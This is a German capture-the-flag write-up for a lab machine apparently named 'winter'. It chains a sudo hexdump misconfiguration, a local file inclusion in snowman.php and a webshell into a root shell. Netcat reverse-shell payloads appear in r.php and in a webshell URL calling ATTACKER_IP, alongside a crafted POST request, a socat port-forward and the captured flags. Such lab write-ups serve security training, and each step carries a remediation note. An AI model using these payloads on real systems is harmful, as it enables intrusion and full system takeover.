┌──(root㉿cyber)-[~] └─# gobuster dir -u "http://192.168.2.116:1337" -e -x ... -w ... -t 100
[...]
http://192.168.2.116:1337/snowman.php          (Status: 200) [Size: 1010]
http://192.168.2.116:1337/index.html           (Status: 200) [Size: 199]

Analyse: Gobuster wird auf den weitergeleiteten Port 1337 ausgeführt. Es findet eine Datei `snowman.php`.

Bewertung: Der versteckte Dienst auf Port 1336 ist eine weitere Webanwendung, die `snowman.php` enthält. Dies ist der nächste Angriffspunkt.

Empfehlung (Pentester): Analysieren Sie `snowman.php`. Da `www-data` keine Leserechte auf `/opt/customer` hatte (wo diese Datei wahrscheinlich liegt), verwenden Sie die `sudo -u catchme hexdump` Fähigkeit, um den Quellcode zu lesen.
Empfehlung (Admin): Stellen Sie sicher, dass interne Webanwendungen ordnungsgemäß gesichert sind und nicht über Umwege zugänglich gemacht werden können.

┌──(root㉿cyber)-[~] └─# wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://192.168.2.116:1337/snowman.php?FUZZ=id --hh 1010
[...]
Target: http://192.168.2.116:1337/snowman.php?FUZZ=id
[...]
Total time: 0
Processed Requests: 220573
Filtered Requests: 220573
Requests/sec.: 0

Analyse: Wfuzz wird verwendet, um GET-Parameter für `snowman.php` zu finden. Es werden keine Parameter gefunden, die eine andere Antwort als die Baseline liefern.

Bewertung: Dies deutet darauf hin, dass die primäre Funktionalität von `snowman.php` möglicherweise über POST-Parameter oder eine andere Methode gesteuert wird, oder dass keine einfachen GET-Parameter vorhanden sind.

Empfehlung (Pentester): Lesen Sie den Quellcode von `snowman.php` mittels `sudo hexdump`.
Empfehlung (Admin): Keine.

Privilege Escalation (LFI/RCE to Root)

www-data@winter:/tmp$ sudo -u catchme /usr/bin/hexdump -C /opt/customer/snowman.php
00000000  3c 21 44 4f 43 54 59 50  45 20 68 74 6d 6c 3e 0a 
[...]
https://gchq.github.io/CyberChef/#recipe=From_Hexdump()

.....
...
session_start();
if(isset($_POST['sub']))
{
$us=$_SESSION['favcolor'];
$msg=$_POST['name'];
$to=$_POST['pass'];
echo "alert('$msg , Send to $to')";
if($msg==="id")
	{
		$ot=system($msg);
		echo "
$ot
"; } else if($msg==="whoami") { $ot=system($msg); echo "
$ot
"; } else if($msg==="pwd") { $ot=system($msg); echo "
$ot
"; } else { echo "alert('RCE Detected')"; } $fi=$GET['exec']; include($fi);

Analyse: Der Befehl `sudo -u catchme /usr/bin/hexdump -C /opt/customer/snowman.php` wird verwendet, um den Inhalt von `snowman.php` (im für `www-data` unzugänglichen Verzeichnis `/opt/customer`) als Hexdump auszulesen. Die Hexdump-Ausgabe wird dann mit CyberChef dekodiert. Der PHP-Code von `snowman.php` wird sichtbar. Er enthält: * Einen POST-Teil (ausgelöst durch `$_POST['sub']`), der `system()` ausführt, wenn `$_POST['name']` gleich `id`, `whoami` oder `pwd` ist (ähnlich wie in `shellcity.php`, aber hier korrekt implementiert). * Eine **Local File Inclusion (LFI)**-Schwachstelle: `$fi=$GET['exec']; include($fi);`. Dieser Code nimmt den Wert des GET-Parameters `exec` und inkludiert ihn direkt, ohne jegliche Validierung.

Bewertung: **Zweite kritische Schwachstelle gefunden!** Die LFI im GET-Parameter `exec` innerhalb von `snowman.php` (das auf dem versteckten Port 1336/1337 läuft) ist ein direkter Weg zur Codeausführung, wenn eine Datei mit PHP-Code an einem bekannten Ort abgelegt werden kann.

Empfehlung (Pentester): Da `www-data` Schreibrechte in `/tmp` und `/var/www/html/upload` hat: 1. Erstellen Sie eine PHP-Datei mit einem Reverse-Shell-Payload (z.B. `/tmp/r.php` oder `/var/www/html/upload/r.php`). 2. Lösen Sie die LFI über den weitergeleiteten Port 1337 aus, indem Sie den `exec`-Parameter auf den Pfad zur hochgeladenen Datei setzen (z.B. `http://192.168.2.116:1337/snowman.php?exec=/tmp/r.php`). 3. Wichtig: Der LFI-Code befindet sich innerhalb des `if(isset($_POST['sub']))`-Blocks. Es muss also gleichzeitig ein POST-Request mit dem Parameter `sub` gesendet werden, um diesen Block und damit das `include($fi)` auszulösen.
Empfehlung (Admin): LFI-Schwachstelle in `snowman.php` beheben. Den unsicheren `sudo`-Zugriff auf `hexdump` entfernen. Den Dienst auf Port 1336 untersuchen und absichern oder entfernen.

Analyse: Der nächste Schritt im Bericht versucht, den SSH-Schlüssel von `catchme` zu lesen und zu verwenden. Dies schlägt fehl und ist für die finale Eskalation nicht relevant. Ich überspringe diesen Teil und fahre mit der Ausnutzung der LFI in `snowman.php` fort.

www-data@winter:/tmp$ echo 'system("/usr/bin/nc 192.168.2.121 2234 -e /bin/bash")' > r.php
www-data@winter:/tmp$ cat r.php
system("/usr/bin/nc 192.168.2.121 2234 -e /bin/bash")

Analyse: Als `www-data` wird in `/tmp` eine Datei `r.php` erstellt, die einen PHP-Code enthält, der eine Netcat-Reverse-Shell zur Angreifer-IP `192.168.2.121` auf Port `2234` startet.

Bewertung: Der Payload für die RCE über LFI ist vorbereitet.

www-data@winter:/tmp$ cp r.php /var/www/html/upload/

Analyse: Die Payload-Datei `r.php` wird in das `/upload`-Verzeichnis der Hauptdomain kopiert. Dies ist ein für den Webserver (`www-data`) beschreibbares und über das Web erreichbares Verzeichnis (gefunden via Gobuster).

Bewertung: Die Payload-Datei ist nun an einem Ort, dessen Pfad in der LFI verwendet werden kann.

┌──(root㉿cyber)-[~] └─# nc -lvnp 2234
listening on [any] 2234 ... 

Analyse: Auf der Angreifer-Maschine wird ein Netcat-Listener auf Port 2234 gestartet, um die Reverse Shell zu empfangen.

Analyse: Der folgende Block beschreibt den entscheidenden POST-Request, um die LFI/RCE in `snowman.php` auszulösen.

burpsuite / POST

POST /snowman.php?exec=/var/www/html/upload/r.php HTTP/1.1
Host: 192.168.2.116:1337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=s6cdl0o5ifqnc3sgjk3u3irulr
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

sub=Send

Analyse: Ein POST-Request wird an `http://192.168.2.116:1337/snowman.php` gesendet (an den weitergeleiteten Port). * Im URL-Pfad wird der GET-Parameter `exec` auf `/var/www/html/upload/r.php` gesetzt. Dies zielt auf die LFI-Schwachstelle. * Im Body des POST-Requests wird der Parameter `sub` mit einem beliebigen Wert (`Send`) gesendet. Dies ist notwendig, um die Bedingung `if(isset($_POST['sub']))` im Quellcode von `snowman.php` zu erfüllen, damit der Codeblock mit `include($fi)` überhaupt ausgeführt wird. Wenn dieser Request verarbeitet wird, führt `snowman.php` `include('/var/www/html/upload/r.php')` aus. Der Code in `r.php` wird ausgeführt und startet die Reverse Shell.

Bewertung: Korrekte Ausnutzung der LFI in Kombination mit der POST-Bedingung zur Erzielung von RCE.

Empfehlung (Pentester): Überprüfen Sie den Netcat-Listener auf die eingehende Verbindung.
Empfehlung (Admin): LFI beheben. Dienst auf Port 1336 absichern/entfernen.

┌──(root㉿cyber)-[~] └─# nc -lvnp 2234
listening on [any] 2234 ...
connect to [192.168.2.121] from (UNKNOWN) [192.168.2.116] 44150
id
uid=0(root) gid=0(root) groups=0(root)

Analyse: Der Netcat-Listener empfängt die Verbindung. Der `id`-Befehl wird ausgeführt und bestätigt `uid=0(root)`.

Bewertung: **Root-Zugriff erfolgreich erlangt!** Die Ausnutzung der LFI in `snowman.php` führte direkt zu einer Root-Shell. Dies impliziert, dass der Dienst auf Port 1336 (und somit `snowman.php`) als Root lief.

Empfehlung (Pentester): Ziel erreicht. Holen Sie die Root- und User-Flags.
Empfehlung (Admin): **Kritisch!** Niemals Webdienste als Root ausführen! LFI beheben. Dienst auf Port 1336 untersuchen und absichern/entfernen.

Analyse: Die letzten Befehle lesen die Flags als Root aus.

# ls /root
root.txt
# cat /root/root.txt
HMV_127.0.0.1
# ls /home/catchme
user.txt
# cat /home/catchme/user.txt
HMVlocalhost

Bewertung: Beide Flags erfolgreich gefunden.

Proof of Concept: RCE via Webshell

Kurzbeschreibung: Durch Subdomain-Enumeration wurde der virtuelle Host `cmd.winter` entdeckt, der die Datei `shellcity.php` hostete. Diese PHP-Datei enthielt eine direkte Remote Code Execution (RCE)-Schwachstelle über den GET-Parameter `run`. Jeder Wert, der diesem Parameter übergeben wurde, wurde mittels `system()` auf dem Server ausgeführt.

Voraussetzungen: Zugriff auf die Subdomain `cmd.winter`, Kenntnis des Parameters `run` (gefunden durch Wfuzz).

Schritt-für-Schritt-Anleitung: 1. Subdomain `cmd.winter` finden (z.B. mittels `wfuzz -H "Host: FUZZ.winter"`). 2. Datei `shellcity.php` finden (z.B. mittels `gobuster dir -u http://cmd.winter`). 3. Parameter `run` identifizieren (z.B. mittels `wfuzz -u http://cmd.winter/shellcity.php?FUZZ=id`). 4. RCE ausführen durch Aufruf der URL mit beliebigem Befehl, z.B.: `http://cmd.winter/shellcity.php?run=whoami`. 5. Reverse Shell erhalten: Listener starten (`nc -lvnp 9001`), dann URL aufrufen: `http://cmd.winter/shellcity.php?run=nc%20-e%20/bin/bash%20ATTACKER_IP%209001`.

Erwartetes Ergebnis: Ausführung des übergebenen Befehls als `www-data`. Bei Reverse Shell Payload: Eingehende Verbindung auf dem Listener des Angreifers mit einer Shell als `www-data`.

Risikobewertung: Hoch. Ermöglicht direkte Befehlsausführung auf dem Server als Webserver-Benutzer und damit den initialen Zugriff.
Empfehlungen: Webshell (`shellcity.php`) sofort entfernen. Code-Reviews durchführen, um solche offensichtlichen RCE-Schwachstellen zu verhindern. Eingabevalidierung implementieren.

Proof of Concept: Root via LFI/RCE

Kurzbeschreibung: Auf einem nur lokal erreichbaren Dienst auf Port 1336 (zugänglich gemacht über Port-Forwarding mit `socat` auf Port 1337) wurde die Datei `snowman.php` gefunden. Die Analyse des Quellcodes (erhalten durch `sudo -u catchme hexdump ...` via einer `sudo`-Schwachstelle) offenbarte eine Local File Inclusion (LFI)-Schwachstelle im GET-Parameter `exec`. Da der Dienst auf Port 1336/1337 als `root` lief, konnte diese LFI genutzt werden, um eine zuvor in ein beschreibbares Verzeichnis (`/var/www/html/upload/`) hochgeladene PHP-Datei (`r.php` mit Reverse-Shell-Code) zu inkludieren und auszuführen. Dies erforderte einen POST-Request mit dem Parameter `sub`, um den relevanten Codeblock in `snowman.php` zu triggern.

Voraussetzungen: Zugriff als `www-data` (oder anderer User, der socat nutzen kann), Kenntnis der LFI in `snowman.php`, Schreibzugriff auf ein Verzeichnis, das vom LFI-Pfad erreichbar ist (z.B. `/var/www/html/upload/`), Möglichkeit, den Dienst auf Port 1336 zu erreichen (hier via `socat`-Portweiterleitung).

Schritt-für-Schritt-Anleitung: 1. Dienst auf Port 1336 identifizieren (`ss`). 2. Portweiterleitung einrichten: `socat tcp-listen:1337,reuseaddr,fork tcp:localhost:1336 &`. 3. `snowman.php` auf Port 1337 finden (`gobuster`). 4. Quellcode von `snowman.php` mittels `sudo -u catchme hexdump ...` lesen und LFI in `exec` finden. 5. Reverse-Shell-Payload in `/var/www/html/upload/r.php` erstellen. 6. Listener starten (`nc -lvnp 2234`). 7. POST-Request an `http://192.168.2.116:1337/snowman.php?exec=/var/www/html/upload/r.php` senden, mit `sub=Send` im Body (z.B. via Burp Suite oder `curl`).

Erwartetes Ergebnis: Der Angreifer erhält eine Reverse Shell als `root`, da der Dienst auf Port 1336 als `root` lief.

Risikobewertung: Kritisch. Eine Kombination aus Port-Forwarding, einer LFI-Schwachstelle und einem als Root laufenden Dienst ermöglichte die direkte Eskalation zu Root.
Empfehlungen: Dienste niemals als Root laufen lassen (Prinzip der geringsten Rechte). LFI-Schwachstellen beheben. Interne Dienste angemessen schützen und isolieren. Unsichere `sudo`-Regeln (wie für `hexdump`) vermeiden.

Flags

cat /home/catchme/user.txt
HMVlocalhost
cat /root/root.txt
HMV_127.0.0.1